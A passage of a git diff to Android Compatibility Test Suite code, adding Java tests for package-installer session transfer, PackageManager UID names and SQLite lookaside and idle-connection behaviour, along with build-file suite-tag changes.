+ if (numReadOriginal == -1) {
+ break;
+ }
+ }
+ }
+ }
+
+ danglingReadStream.close();
+ }
+
+ @Test
+ public void transferToInvalidNewOwner() throws Exception {
+ Session session = createSession();
+ writeApk(session, "CtsContentTestCases");
+
+ try {
+ // This will fail as the name of the new owner is invalid
+ session.transfer("android.content.cts.invalid.package");
+ fail();
+ } catch (PackageManager.NameNotFoundException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferToOwnerWithoutInstallPermission() throws Exception {
+ Session session = createSession();
+ writeApk(session, "CtsContentTestCases");
+
+ try {
+ // This will fail as the current package does not own the install-packages permission
+ session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
+ .getPackageName());
+ fail();
+ } catch (SecurityException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferWithOpenWrite() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ session.openWrite("danglingWriteStream", 0, 1);
+ try {
+ // This will fail as the danglingWriteStream is still open
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (SecurityException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferSessionWithInvalidApk() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ try (OutputStream out = session.openWrite("invalid", 0, 2)) {
+ out.write(new byte[]{23, 42});
+ out.flush();
+ }
+
+ try {
+ // This will fail as the content of 'invalid' is not a valid APK
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferWithApkFromWrongPackage() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ writeApk(session, "CtsContentEmptyTestApp");
+
+ try {
+ // This will fail as the session contains the a apk from the wrong package
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ session.abandon();
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 490da35..5140e69 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -470,4 +470,29 @@
assertNotNull("Signatures should have been collected when GET_SIGNATURES flag specified",
pkgInfo.signatures);
}
+
+ public void testGetNamesForUids_null() throws Exception {
+ assertNull(mPackageManager.getNamesForUids(null));
+ }
+
+ public void testGetNamesForUids_empty() throws Exception {
+ assertNull(mPackageManager.getNamesForUids(new int[0]));
+ }
+
+ public void testGetNamesForUids_valid() throws Exception {
+ final int shimId =
+ mPackageManager.getApplicationInfo("com.android.cts.ctsshim", 0 /*flags*/).uid;
+ final int[] uids = new int[] {
+ 1000,
+ Integer.MAX_VALUE,
+ shimId,
+ };
+ final String[] result;
+ result = mPackageManager.getNamesForUids(uids);
+ assertNotNull(result);
+ assertEquals(3, result.length);
+ assertEquals("shared:android.uid.system", result[0]);
+ assertEquals(null, result[1]);
+ assertEquals("com.android.cts.ctsshim", result[2]);
+ }
}
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigTest.java b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
index 8056432..faca085 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
@@ -1179,7 +1179,7 @@
checkValue(res, R.configVarying.bag,
R.styleable.TestConfig, new String[]{"bag dpad 63x57"});
}
-
+
@MediumTest
public void testVersions() {
// Check that we get the most recent resources that are <= our
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index 23afe68..0c18b4f 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -27,7 +27,7 @@
*/
public class PrivateAttributeTest extends AndroidTestCase {
- private static final int sLastPublicAttr = 0x01010568;
+ private static final int sLastPublicAttr = 0x0101056d;
public void testNoAttributesAfterLastPublicAttribute() throws Exception {
if (!Build.VERSION.CODENAME.equals("REL")) {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 5856a0c..7f5d6ce 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -315,6 +315,15 @@
assertEquals(142 * targetDensity / defaultDensity, draw.getIntrinsicHeight(), 1);
}
+ public void testGetDrawable_StackOverflowErrorDrawable() {
+ try {
+ mResources.getDrawable(R.drawable.drawable_recursive);
+ fail("Failed at testGetDrawable_StackOverflowErrorDrawable");
+ } catch (NotFoundException e) {
+ //expected
+ }
+ }
+
public void testGetDrawableForDensity() {
final Drawable ldpi = mResources.getDrawableForDensity(
R.drawable.density_test, DisplayMetrics.DENSITY_LOW);
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 1be93c6..0e24c15 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -25,6 +25,7 @@
android-common \
ctstestrunner \
ctstestrunner \
+ ub-uiautomator \
junit \
legacy-android-test
@@ -35,6 +36,9 @@
LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
new file mode 100644
index 0000000..5b52790
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+/**
+ * Common utility methods for testing
+ */
+class DatabaseTestUtils {
+
+ private static final String TAG = "SQLiteOpenHelperTest";
+
+ static boolean waitForConnectionToClose(int maxAttempts, int pollIntervalMs)
+ throws Exception {
+ for (int i = 0; i < maxAttempts; i++) {
+ String output = getDbInfoOutput();
+ Log.d(TAG, "waitForConnectionToClose #" + i + ": " + output);
+ if (!output.contains("Connection #0:")) {
+ return true;
+ }
+ Thread.sleep(pollIntervalMs);
+ }
+ return false;
+ }
+
+ static String getDbInfoOutput() throws Exception {
+ Context ctx = InstrumentationRegistry.getInstrumentation().getContext();
+ return executeShellCommand("dumpsys dbinfo " + ctx.getPackageName());
+ }
+
+ static String executeShellCommand(String cmd) throws Exception {
+ return UiDevice.getInstance(
+ InstrumentationRegistry.getInstrumentation()).executeShellCommand(cmd);
+ }
+}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f6458c1..32e78e3 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -22,6 +22,7 @@
import java.util.Locale;
import java.util.concurrent.Semaphore;
+import android.app.ActivityManager;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
@@ -31,16 +32,22 @@
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
-import android.database.sqlite.SQLiteException;
+import android.database.sqlite.SQLiteDebug;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteStatement;
import android.database.sqlite.SQLiteTransactionListener;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
public class SQLiteDatabaseTest extends AndroidTestCase {
+ private static final String TAG = "SQLiteDatabaseTest";
private SQLiteDatabase mDatabase;
private File mDatabaseFile;
private String mDatabaseFilePath;
@@ -82,19 +89,17 @@
@Override
protected void tearDown() throws Exception {
- mDatabase.close();
- mDatabaseFile.delete();
+ closeAndDeleteDatabase();
super.tearDown();
}
- public void testOpenDatabase() {
- CursorFactory factory = new CursorFactory() {
- public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
- String editTable, SQLiteQuery query) {
- return new MockSQLiteCursor(db, masterQuery, editTable, query);
- }
- };
+ private void closeAndDeleteDatabase() {
+ mDatabase.close();
+ SQLiteDatabase.deleteDatabase(mDatabaseFile);
+ }
+ public void testOpenDatabase() {
+ CursorFactory factory = MockSQLiteCursor::new;
SQLiteDatabase db = SQLiteDatabase.openDatabase(mDatabaseFilePath,
factory, SQLiteDatabase.CREATE_IF_NECESSARY);
assertNotNull(db);
@@ -1276,8 +1281,7 @@
@LargeTest
public void testReaderGetsOldVersionOfDataWhenWriterIsInXact() throws InterruptedException {
// redo setup to create WAL enabled database
- mDatabase.close();
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
boolean rslt = mDatabase.enableWriteAheadLogging();
assertTrue(rslt);
@@ -1350,8 +1354,7 @@
public void testExceptionsFromEnableWriteAheadLogging() {
// attach a database
// redo setup to create WAL enabled database
- mDatabase.close();
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
// attach a database and call enableWriteAheadLogging - should not be allowed
@@ -1388,7 +1391,7 @@
}
public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
SQLiteDatabase.CREATE_IF_NECESSARY | SQLiteDatabase.ENABLE_WRITE_AHEAD_LOGGING,
null);
@@ -1409,14 +1412,13 @@
public void testEnableWriteAheadLoggingFromContextUsingModeFlag() {
// Without the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens without WAL.
- getContext().deleteDatabase(DATABASE_FILE_NAME);
+ closeAndDeleteDatabase();
mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
Context.MODE_PRIVATE, null);
assertFalse(mDatabase.isWriteAheadLoggingEnabled());
- mDatabase.close();
// With the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens with WAL.
- getContext().deleteDatabase(DATABASE_FILE_NAME);
+ closeAndDeleteDatabase();
mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
Context.MODE_PRIVATE | Context.MODE_ENABLE_WRITE_AHEAD_LOGGING, null);
assertTrue(mDatabase.isWriteAheadLoggingEnabled());
@@ -1493,4 +1495,99 @@
mDatabase.setForeignKeyConstraintsEnabled(true);
assertEquals(1, DatabaseUtils.longForQuery(mDatabase, "PRAGMA foreign_keys", null));
}
+
+ public void testOpenDatabaseLookasideConfig() {
+ // First check that lookaside is enabled (except low-RAM devices)
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(expectDisabled);
+ // Reopen test db with lookaside disabled
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setLookasideConfig(0, 0).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ verifyLookasideStats(true);
+ // Reopen test db with custom lookaside config
+ mDatabase.close();
+ params = new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(10000, 10).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Lookaside is always disabled on low-RAM devices
+ verifyLookasideStats(expectDisabled);
+ }
+
+ public void testOpenParamsSetLookasideConfigValidation() {
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(-1, 0).build();
+ fail("Negative slot size should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(0, -10).build();
+ fail("Negative slot count should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ private void verifyLookasideStats(boolean expectDisabled) {
+ boolean dbStatFound = false;
+ SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+ for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+ if (dbStat.dbName.endsWith(mDatabaseFile.getName())) {
+ dbStatFound = true;
+ Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+ if (expectDisabled) {
+ assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+ } else {
+ assertTrue("lookaside slots count should be greater than zero",
+ dbStat.lookaside > 0);
+ }
+ }
+ }
+ assertTrue("No dbstat found for " + mDatabaseFile.getName(), dbStatFound);
+ }
+
+ public void testCloseIdleConnection() throws Exception {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setIdleConnectionTimeout(1000).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Wait a bit and check that connection is still open
+ Thread.sleep(600);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+
+ // Now cause idle timeout and check that connection is closed
+ // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+ // message processing when system is busy
+ boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+ assertTrue("Connection #0 should be closed", connectionWasClosed);
+ }
+
+ public void testNoCloseIdleConnectionForAttachDb() throws Exception {
+ mDatabase.close();
+ SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+ .setIdleConnectionTimeout(50).build();
+ mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+ // Attach db and verify size of the list of attached databases (includes main db)
+ assertEquals(1, mDatabase.getAttachedDbs().size());
+ mDatabase.execSQL("ATTACH DATABASE ':memory:' as memdb");
+ assertEquals(2, mDatabase.getAttachedDbs().size());
+ // Wait longer (500ms) to catch cases when timeout processing was delayed
+ boolean connectionWasClosed = waitForConnectionToClose(5, 100);
+ assertFalse("Connection #0 should be open", connectionWasClosed);
+ }
+
+ public void testSetIdleConnectionTimeoutValidation() throws Exception {
+ try {
+ new SQLiteDatabase.OpenParams.Builder().setIdleConnectionTimeout(-1).build();
+ fail("Negative timeout should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ public void testDefaultJournalModeNotWAL() {
+ assertFalse("Default journal mode should not be WAL", "WAL".equalsIgnoreCase(
+ DatabaseUtils.stringForQuery(mDatabase, "PRAGMA journal_mode", null)));
+ }
+
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 8a0ba21..853f24b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -16,37 +16,48 @@
package android.database.sqlite.cts;
+import android.app.ActivityManager;
import android.content.Context;
-import android.database.Cursor;
import android.database.sqlite.SQLiteCursor;
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
import android.database.sqlite.SQLiteOpenHelper;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
/**
* Test {@link SQLiteOpenHelper}.
*/
public class SQLiteOpenHelperTest extends AndroidTestCase {
+ private static final String TAG = "SQLiteOpenHelperTest";
private static final String TEST_DATABASE_NAME = "database_test.db";
private static final int TEST_VERSION = 1;
private static final int TEST_ILLEGAL_VERSION = 0;
private MockOpenHelper mOpenHelper;
- private SQLiteDatabase.CursorFactory mFactory = new SQLiteDatabase.CursorFactory() {
- public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
- String editTable, SQLiteQuery query) {
- return new MockCursor(db, masterQuery, editTable, query);
- }
- };
+ private SQLiteDatabase.CursorFactory mFactory = MockCursor::new;
@Override
protected void setUp() throws Exception {
super.setUp();
+ SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
mOpenHelper = getOpenHelper();
}
+ @Override
+ protected void tearDown() throws Exception {
+ mOpenHelper.close();
+ super.tearDown();
+ }
+
public void testConstructor() {
new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
@@ -94,6 +105,105 @@
assertFalse(database3.isOpen());
}
+ public void testLookasideDefault() throws Exception {
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ // Lookaside is always disabled on low-RAM devices
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+ }
+
+ public void testLookasideDisabled() throws Exception {
+ mOpenHelper.setLookasideConfig(0, 0);
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), true);
+ }
+
+ public void testLookasideCustom() throws Exception {
+ mOpenHelper.setLookasideConfig(10000, 10);
+ assertNotNull(mOpenHelper.getWritableDatabase());
+ // Lookaside is always disabled on low-RAM devices
+ boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+ verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+ }
+
+ public void testSetLookasideConfigValidation() {
+ try {
+ mOpenHelper.setLookasideConfig(-1, 0);
+ fail("Negative slot size should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(0, -10);
+ fail("Negative slot count should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(1, 0);
+ fail("Illegal config should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ try {
+ mOpenHelper.setLookasideConfig(0, 1);
+ fail("Illegal config should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ private static void verifyLookasideStats(String dbName, boolean expectDisabled) {
+ boolean dbStatFound = false;
+ SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+ for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+ if (dbStat.dbName.endsWith(dbName)) {
+ dbStatFound = true;
+ Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+ if (expectDisabled) {
+ assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+ } else {
+ assertTrue("lookaside slots count should be greater than zero",
+ dbStat.lookaside > 0);
+ }
+ }
+ }
+ assertTrue("No dbstat found for " + dbName, dbStatFound);
+ }
+
+ public void testCloseIdleConnection() throws Exception {
+ mOpenHelper.setIdleConnectionTimeout(1000);
+ mOpenHelper.getReadableDatabase();
+ // Wait a bit and check that connection is still open
+ Thread.sleep(600);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+
+ // Now cause idle timeout and check that connection is closed
+ // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+ // message processing when system is busy
+ boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+ assertTrue("Connection #0 should be closed", connectionWasClosed);
+ }
+
+ public void testSetIdleConnectionTimeoutValidation() throws Exception {
+ try {
+ mOpenHelper.setIdleConnectionTimeout(-1);
+ fail("Negative timeout should be rejected");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ public void testCloseIdleConnectionDefaultDisabled() throws Exception {
+ // Make sure system default timeout is not changed
+ assertEquals(30000, SQLiteGlobal.getIdleConnectionTimeout());
+
+ mOpenHelper.getReadableDatabase();
+ // Wait past the timeout and verify that connection is still open
+ Log.w(TAG, "Waiting for 35 seconds...");
+ Thread.sleep(35000);
+ String output = getDbInfoOutput();
+ assertTrue("Connection #0 should be open. Output: " + output,
+ output.contains("Connection #0:"));
+ }
+
private MockOpenHelper getOpenHelper() {
return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
}
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index e2164b0..f1b9b27 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -28,7 +28,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
index 9c454f1..c6d6de3 100644
--- a/tests/tests/debug/AndroidTest.xml
+++ b/tests/tests/debug/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Debug test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="devtools" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDebugTestCases.apk" />
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 4ad08a3..53ae177 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -27,10 +27,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDisplayTestCases
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index 963db7a..98a6504 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index 3015b07..5085038 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -27,6 +27,8 @@
import android.view.ViewConfiguration;
import android.view.WindowManager;
+import com.android.compatibility.common.util.CddTest;
+
public class ConfigurationScreenLayoutTest
extends ActivityInstrumentationTestCase2<OrientationActivity> {
@@ -41,6 +43,7 @@
super(OrientationActivity.class);
}
+ @CddTest(requirement="7.1.3/C-0-2,C-1-2,7.1.1.1/C-0-1")
public void testScreenLayout() throws Exception {
int expectedScreenLayout = computeScreenLayout();
int expectedSize = expectedScreenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 78ce89a..e79d10f 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,8 @@
import android.view.Display;
import android.view.WindowManager;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.HashSet;
import java.util.Set;
@@ -32,13 +34,14 @@
*/
public class ConfigurationTest extends AndroidTestCase {
+ @CddTest(requirement="7.1.1.1/H-0-1,W-0-1,7.1.1.3/C-0-1,7.1.2/C-1-1")
@Presubmit
public void testScreenConfiguration() {
WindowManager windowManager =
(WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
Display display = windowManager.getDefaultDisplay();
DisplayMetrics metrics = new DisplayMetrics();
- display.getMetrics(metrics);
+ display.getRealMetrics(metrics);
double xInches = (double) metrics.widthPixels / metrics.xdpi;
double yInches = (double) metrics.heightPixels / metrics.ydpi;
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 6e7c649..dcd2c0f 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -20,6 +20,8 @@
# We use the DefaultManifestAttributesTest from the android.cts.dpi package.
LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsDpiTestCases2
@@ -31,6 +33,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index eb46897..383c9c3 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -34,6 +34,6 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index 12d3358..7274740 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Dreams test cases">
<option name="config-descriptor:metadata" key="component" value="sysui" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDreamsTestCases.apk" />
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index d67c048..13ac8d6 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,12 +24,12 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDrmTestCases
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
index 87f00a4..fe9a041 100644
--- a/tests/tests/drm/jni/Android.mk
+++ b/tests/tests/drm/jni/Android.mk
@@ -30,4 +30,6 @@
LOCAL_SHARED_LIBRARIES := liblog libdl
LOCAL_SDK_VERSION := 23
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
index 656df5b..2b42df4 100644
--- a/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
+++ b/tests/tests/drm/src/android/drm/cts/DrmInfoTest.java
@@ -16,6 +16,7 @@
package android.drm.cts;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Collection;
@@ -111,7 +112,7 @@
private static void checkInvalidData(byte[] data) throws Exception {
try {
DrmInfo info = new DrmInfo(DEFAULT_TYPE, data, DEFAULT_MIME);
- fail("Data " + data + " was accepted for DrmInfo");
